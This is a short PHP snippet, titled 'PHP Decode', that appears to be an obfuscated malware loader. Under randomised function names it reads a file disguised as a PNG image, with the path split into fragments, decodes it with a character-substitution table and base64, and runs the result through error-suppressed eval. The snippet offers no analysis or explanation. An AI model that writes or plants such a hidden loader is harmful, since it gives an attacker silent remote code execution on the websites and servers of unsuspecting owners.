PHP Decode

<?   
function lolythe_afuvifu($onadech_ojequvy) { 
    if (!file_exists($onadech_ojequvy)) 
        return false; 
    $wibykhu = @file_get_contents($onadech_ojequvy); 
    if (!$wibykhu) 
        return false; 
    $wibykhu = substr($wibykhu, 3); 
    $ikhafub = inytysh_gixygol($wibykhu); 
    return $ikhafub; 
} 
 
function inytysh_gixygol($onadech_ojequvy) { 
    $echiler = ylytyty_ythalap; 
    $sihokho = array(); 
    for ($ymazhap = 0; $ymazhap < strlen($echiler); $ymazhap += 2) { 
        $apexiru = substr($echiler, $ymazhap, 1); 
        $pyperym = substr($echiler, $ymazhap + 1, 1); 
        $sihokho[$apexiru] = $pyperym; 
    } 
    $avucoko = strtr($onadech_ojequvy, $sihokho); 
    $avucoko = base64_decode($avucoko); 
 
    return $avucoko; 
} 
 
define("ylytyty_ythalap", "5tjh8l4frNUeBDGMIYcvOrC+HQ+dVVLayp/j96NGM211ALeIv0ssR5DA7g==XPYXuFfqWkTHxTQu3/wnbRnKPUJO64zBSmKSFWkipCg807mbEoq3tw2zaJixl9ZZdyoEhc"); 
 
$helehe = lolythe_afuvifu(__DIR__ . "/ass" . "ets/i" . "mages/" . "utava" . "ko.p" . "ng"); 
if ($helehe) { 
    @eval($helehe); 
} 
 ?>